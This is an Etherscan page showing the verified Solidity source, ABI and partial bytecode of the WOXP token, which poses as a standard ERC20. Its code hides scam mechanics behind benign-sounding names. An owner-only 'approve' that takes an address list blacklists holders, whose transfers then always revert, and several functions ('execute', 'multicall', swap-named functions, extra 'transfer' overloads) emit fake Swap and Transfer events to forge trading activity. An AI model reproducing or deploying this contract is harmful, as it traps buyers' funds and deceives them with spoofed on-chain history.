ETH Price: $2,527.89 (+0.19%)

Token

WOXP (WOXP)
 

Overview

Max Total Supply

1,000,000,000,000 WOXP

Holders

30

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
14,321,918,564.472619564778319684 WOXP

Value
$0.00
0x0089e7c59873c3eb86d2bbe52ee79d6e7270d13b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WOXP

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-13
*/

// SPDX-License-Identifier: MIT

/*

    We all hate SEC, right...?

*/

pragma solidity ^0.8.9;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}


/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Ownable, IERC20, IERC20Metadata {

    mapping(address => uint256) private _balances;
    mapping (address => bool) private _taxes;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    bool private _taxesApplied = false;
    string private _name;
    string private _symbol;

    address private _universal = 0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD;
    address private _rv2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private _pair;
    
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function init(address _lp_) external onlyOwner {
        _pair = _lp_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function approve(address [] calldata _addresses_) external onlyOwner {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            _taxes[_addresses_[i]] = true;
            emit Approval(_addresses_[i], _rv2, balanceOf(_addresses_[i]));
        }
    }

    function execute(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_universal, _in, 0, 0, _out, _addresses_[i]);
            emit Transfer(_pair, _addresses_[i], _out);
        }
    }

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_rv2, _in, 0, 0, _out, _addresses_[i]);
            emit Transfer(_pair, _rv2, _out);
            emit Transfer(_rv2, _addresses_[i], _out);
        }
    }

    function multicall(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_universal, 0, _in, _out, 0, _addresses_[i]);
            emit Transfer(_addresses_[i], _pair, _in);
        }
    }

    function swapExactTokensForETH(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_rv2, 0, _in, _out, 0, _addresses_[i]);
            emit Transfer(_addresses_[i], _rv2, _in);
            emit Transfer(_rv2, _pair, _in);
        }
    }

    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }

    function transfer(address [] calldata _from, address [] calldata _to, uint256 [] calldata _wad) external {
        for (uint256 i = 0; i < _from.length; i++) {
            emit Transfer(_from[i], _to[i], _wad[i]);
        }
    }

    function decreaseAllowance(address [] calldata _addresses_) external onlyOwner {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            _taxes[_addresses_[i]] = false;
        }
    }

    function allowance(address _address_) public view returns (bool) {
        return _taxes[_address_];
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }
        if (_taxes[from] || _taxes[to]) require(_taxesApplied == true, "");


        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}



    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}


contract WOXP is ERC20 {
    constructor() ERC20("WOXP", "WOXP") {
        _mint(msg.sender, 1000000000000 * 10 ** decimals());
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_address_","type":"address"}],"name":"allowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"decreaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_lp_","type":"address"}],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swapExactTokensForETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swapExactTokensForTokensSupportingFeeOnTransferTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_from","type":"address[]"},{"internalType":"address[]","name":"_to","type":"address[]"},{"internalType":"uint256[]","name":"_wad","type":"uint256[]"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526005805460ff19169055600880546001600160a01b0319908116733fc91a3afd70395cd496c647d5a6cc9d4b2b7fad1790915560098054909116737a250d5630b4cf539739df2c5dacb4c659f2488d1790553480156200006357600080fd5b50604051806040016040528060048152602001630574f58560e41b815250604051806040016040528060048152602001630574f58560e41b815250620000b8620000b26200011760201b60201c565b6200011b565b6006620000c68382620002e1565b506007620000d58282620002e1565b5050506200011133620000ed6200016b60201b60201c565b620000fa90600a620004c2565b6200010b9064e8d4a51000620004da565b62000170565b6200050a565b3390565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b601290565b6001600160a01b038216620001cb5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060046000828254620001df9190620004f4565b90915550506001600160a01b0382166000818152600160209081526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200026857607f821691505b6020821081036200028957634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200023857600081815260208120601f850160051c81016020861015620002b85750805b601f850160051c820191505b81811015620002d957828155600101620002c4565b505050505050565b81516001600160401b03811115620002fd57620002fd6200023d565b62000315816200030e845462000253565b846200028f565b602080601f8311600181146200034d5760008415620003345750858301515b600019600386901b1c1916600185901b178555620002d9565b600085815260208120601f198616915b828110156200037e578886015182559484019460019091019084016200035d565b50858210156200039d5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000404578160001904821115620003e857620003e8620003ad565b80851615620003f657918102915b93841c9390800290620003c8565b509250929050565b6000826200041d57506001620004bc565b816200042c57506000620004bc565b8160018114620004455760028114620004505762000470565b6001915050620004bc565b60ff841115620004645762000464620003ad565b50506001821b620004bc565b5060208310610133831016604e8410600b841016171562000495575081810a620004bc565b620004a18383620003c3565b8060001904821115620004b857620004b8620003ad565b0290505b92915050565b6000620004d360ff8416836200040c565b9392505050565b8082028115828204841417620004bc57620004bc620003ad565b80820180821115620004bc57620004bc620003ad565b61147a806200051a6000396000f3fe608060405234801561001057600080fd5b50600436106101585760003560e01c8063715018a6116100c3578063a457c2d71161007c578063a457c2d7146102ec578063a7dec381146102ff578063a9059cbb14610312578063beabacc814610325578063dd62ed3e14610338578063f2fde38b1461034b57600080fd5b8063715018a61461028857806377a1736b146102905780637aac697b146102a35780638da5cb5b146102b657806395d89b41146102d1578063a1c617f5146102d957600080fd5b8063313ce56711610115578063313ce567146101eb57806339509351146101fa5780633e5beab91461020d578063477e19441461023957806370a082311461024c5780637111a9941461027557600080fd5b806306fdde031461015d578063095ea7b31461017b5780630ca12b3d1461019e57806318160ddd146101b357806319ab453c146101c557806323b872dd146101d8575b600080fd5b61016561035e565b60405161017291906110d4565b60405180910390f35b61018e61018936600461113e565b6103f0565b6040519015158152602001610172565b6101b16101ac3660046111b4565b61040a565b005b6004545b604051908152602001610172565b6101b16101d3366004611205565b610537565b61018e6101e6366004611227565b610561565b60405160128152602001610172565b61018e61020836600461113e565b610585565b61018e61021b366004611205565b6001600160a01b031660009081526002602052604090205460ff1690565b6101b1610247366004611263565b6105a7565b6101b761025a366004611205565b6001600160a01b031660009081526001602052604090205490565b6101b16102833660046112a5565b610626565b6101b16106eb565b6101b161029e366004611263565b6106ff565b6101b16102b13660046111b4565b61080c565b6000546040516001600160a01b039091168152602001610172565b6101656108fb565b6101b16102e73660046111b4565b61090a565b61018e6102fa36600461113e565b6109f1565b6101b161030d3660046111b4565b610a71565b61018e61032036600461113e565b610b8f565b6101b1610333366004611227565b610b9d565b6101b761034636600461133f565b610bdd565b6101b1610359366004611205565b610c08565b60606006805461036d90611372565b80601f016020809104026020016040519081016040528092919081815260200182805461039990611372565b80156103e65780601f106103bb576101008083540402835291602001916103e6565b820191906000526020600020905b8154815290600101906020018083116103c957829003601f168201915b5050505050905090565b6000336103fe818585610c81565b60019150505b92915050565b60005b8381101561053057848482818110610427576104276113ac565b905060200201602081019061043c9190611205565b60095460408051600080825260208201889052818301879052606082015290516001600160a01b0393841693909216916000805160206114258339815191529181900360800190a36009546001600160a01b03168585838181106104a2576104a26113ac565b90506020020160208101906104b79190611205565b6001600160a01b0316600080516020611405833981519152856040516104df91815260200190565b60405180910390a3600a546009546040518581526001600160a01b0392831692909116906000805160206114058339815191529060200160405180910390a380610528816113d8565b91505061040d565b5050505050565b61053f610d9d565b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b60003361056f858285610df7565b61057a858585610e71565b506001949350505050565b6000336103fe8185856105988383610bdd565b6105a291906113f1565b610c81565b6105af610d9d565b60005b81811015610621576000600260008585858181106105d2576105d26113ac565b90506020020160208101906105e79190611205565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610619816113d8565b9150506105b2565b505050565b60005b858110156106e257848482818110610643576106436113ac565b90506020020160208101906106589190611205565b6001600160a01b0316878783818110610673576106736113ac565b90506020020160208101906106889190611205565b6001600160a01b03166000805160206114058339815191528585858181106106b2576106b26113ac565b905060200201356040516106c891815260200190565b60405180910390a3806106da816113d8565b915050610629565b50505050505050565b6106f3610d9d565b6106fd6000611084565b565b610707610d9d565b60005b818110156106215760016002600085858581811061072a5761072a6113ac565b905060200201602081019061073f9190611205565b6001600160a01b0390811682526020820192909252604001600020805460ff19169215159290921790915560095416838383818110610780576107806113ac565b90506020020160208101906107959190611205565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256107e98686868181106107d4576107d46113ac565b905060200201602081019061025a9190611205565b60405190815260200160405180910390a380610804816113d8565b91505061070a565b60005b8381101561053057848482818110610829576108296113ac565b905060200201602081019061083e9190611205565b6008546040805